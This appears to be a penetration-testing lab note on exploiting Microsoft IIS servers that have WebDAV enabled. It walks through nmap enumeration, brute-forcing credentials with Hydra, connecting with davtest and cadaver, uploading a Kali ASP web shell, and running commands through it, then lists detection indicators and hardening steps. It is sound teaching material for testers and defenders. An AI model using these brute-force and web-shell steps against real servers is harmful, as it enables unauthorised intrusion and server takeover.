Overview¶

Microsoft IIS (Internet Information Services) is a web server developed by Microsoft for hosting websites, web applications, and services on Windows systems. IIS commonly runs on TCP ports 80 and 443 and supports technologies such as ASP, ASPX, PHP, and .NET applications.

WebDAV (Web Distributed Authoring and Versioning) is an extension of HTTP that allows users to upload, edit, move, and manage files remotely on a web server. When WebDAV is enabled on IIS and improperly secured, attackers may abuse it to upload malicious files and gain remote code execution.

This note explains how WebDAV works, how attackers enumerate it, and how exploitation can occur when weak credentials and insecure configurations are present.

Microsoft IIS¶

IIS is a Microsoft web server platform used to host static and dynamic web applications.

Features of IIS¶

Hosts websites and web applications
Supports ASP, ASPX, and PHP
Provides graphical administration tools
Commonly runs on ports 80 and 443
Integrates with Windows authentication

Common Executable Extensions¶

Extension	Purpose
.asp	Classic Active Server Pages
.aspx	ASP.NET applications
.php	PHP web applications
.config	Configuration files

Example Nmap Scan¶

nmap -sV -sC 10.2.17.124

Example Output:

80/tcp open  http Microsoft IIS httpd 10.0

The scan reveals:

IIS web server running
HTTP service available
Additional Windows services such as SMB and RDP

WebDAV¶

WebDAV extends HTTP functionality by allowing remote file management operations.

WebDAV Capabilities¶

Upload files
Download files
Rename files
Delete files
Move and copy files
Edit remote content

WebDAV essentially allows the web server to function like a file server.

WebDAV Authentication¶

Most WebDAV servers require authentication using usernames and passwords.

If weak credentials are used, attackers may brute-force the login page and gain access to upload malicious files.

Example browser authentication prompt:

Authentication Required
Username:
Password:

Enumerating IIS and WebDAV¶

Attackers first identify whether WebDAV is enabled.

Nmap Enumeration¶

nmap -sV -p 80 --script=http-enum 10.2.17.124

Example Output:

http-webdav-scan:
Allowed Methods:
OPTIONS, TRACE, GET, POST, COPY, PROPFIND, LOCK, UNLOCK

This indicates:

WebDAV is enabled
Dangerous HTTP methods are allowed
File upload functionality may exist

Dangerous HTTP Methods¶

Certain HTTP methods increase the risk of exploitation.

Method	Function
PUT	Upload files
DELETE	Delete files
MOVE	Move files
COPY	Copy files
PROPFIND	Enumerate directories
MKCOL	Create collections/directories

If these methods are enabled without proper restrictions, attackers may gain remote code execution.

WebDAV Exploitation Process¶

The exploitation process generally follows these steps:

Phase	Description
Enumeration	Identify WebDAV service
Authentication Attack	Brute-force credentials
Access	Login to WebDAV
Upload	Upload malicious ASP shell
Execution	Execute commands remotely

Brute-Forcing WebDAV Credentials¶

Hydra can be used to brute-force authentication credentials.

Example Hydra Attack¶

hydra -L /usr/share/wordlists/metasploit/common_users.txt \
-P /usr/share/wordlists/metasploit/common_passwords.txt \
10.2.17.124 http-get /webdav/

Explanation:

Option	Purpose
-L	Username wordlist
-P	Password wordlist
http-get	Attack HTTP authentication
/webdav/	Target directory

If successful, Hydra may reveal valid credentials.

Example:

login: bob
password: password_123321

Testing WebDAV Access¶

The davtest tool checks whether WebDAV supports file uploads and execution.

Testing Connection¶

davtest -url http://10.2.17.124/webdav

Example Output:

FAIL: Unauthorized

This indicates authentication is required.

Authenticating with Credentials¶

After obtaining credentials:

davtest -auth bob:password_123321 -url http://10.2.17.124/webdav

Explanation:

Parameter	Purpose
-auth	Username and password
-url	Target WebDAV URL

Cadaver¶

Cadaver is a command-line WebDAV client used to interact with WebDAV servers.

Features¶

Upload files
Download files
List directories
Rename resources
Delete files

Connecting with Cadaver¶

cadaver http://10.2.17.124/webdav

After entering credentials:

Username: bob
Password: password_123321

List files:

ls

Example Output:

AttackDefense.txt
web.config

This confirms access to the WebDAV directory.

Web Shells¶

A web shell is a malicious script uploaded to a web server to execute commands remotely.

Common Web Shell Types¶

Type	Extension
ASP Shell	.asp
ASPX Shell	.aspx
PHP Shell	.php

Attackers typically upload a shell compatible with the server technology.

Locating Web Shells in Kali Linux¶

Kali Linux contains prebuilt web shells.

ls -al /usr/share/webshells/

Example directories:

asp/
aspx/
php/
jsp/

Listing ASP shells:

ls -al /usr/share/webshells/asp/

Example Output:

webshell.asp
cmdasp.asp

Uploading a Web Shell¶

Using Cadaver:

put /usr/share/webshells/asp/webshell.asp

Example Output:

Uploading succeeded

The ASP shell is now stored on the IIS server.

Executing Commands Through the Web Shell¶

The uploaded shell can be accessed through the browser.

Example URL:

http://10.2.17.124/webdav/webshell.asp

Execute a command:

cmd=ipconfig

Example Result:

Windows IP Configuration
IPv4 Address: 10.2.17.124

This demonstrates successful remote command execution.

Why WebDAV Is Dangerous¶

WebDAV becomes dangerous when:

Weak passwords are used
File upload is enabled
Dangerous HTTP methods are allowed
Executable scripts are permitted
Authentication is poorly configured

Attackers can upload malicious ASP or ASPX files and gain control of the server.

Detection Indicators¶

SOC analysts and defenders should monitor for:

Unusual PUT requests
PROPFIND and MKCOL activity
Suspicious ASP/ASPX uploads
Multiple failed authentication attempts
Unexpected web shell files
Abnormal IIS logs
Connections to uploaded scripts

Defensive Measures¶

Administrators should secure IIS and WebDAV by:

Disabling WebDAV if unnecessary
Restricting HTTP methods
Blocking PUT and DELETE methods
Using strong passwords
Enabling MFA where possible
Restricting upload permissions
Preventing script execution in upload directories
Monitoring IIS logs
Using WAF protection
Regularly patching IIS

Conclusion¶

Microsoft IIS and WebDAV are common targets in Windows exploitation because they provide remote file management functionality. If WebDAV is enabled with weak authentication or insecure permissions, attackers can brute-force credentials, upload malicious ASP shells, and achieve remote code execution.

Understanding how enumeration, authentication attacks, file uploads, and web shell execution work is important for both penetration testers and defenders. Proper hardening, monitoring, and access control are critical to protecting IIS environments from WebDAV-based attacks.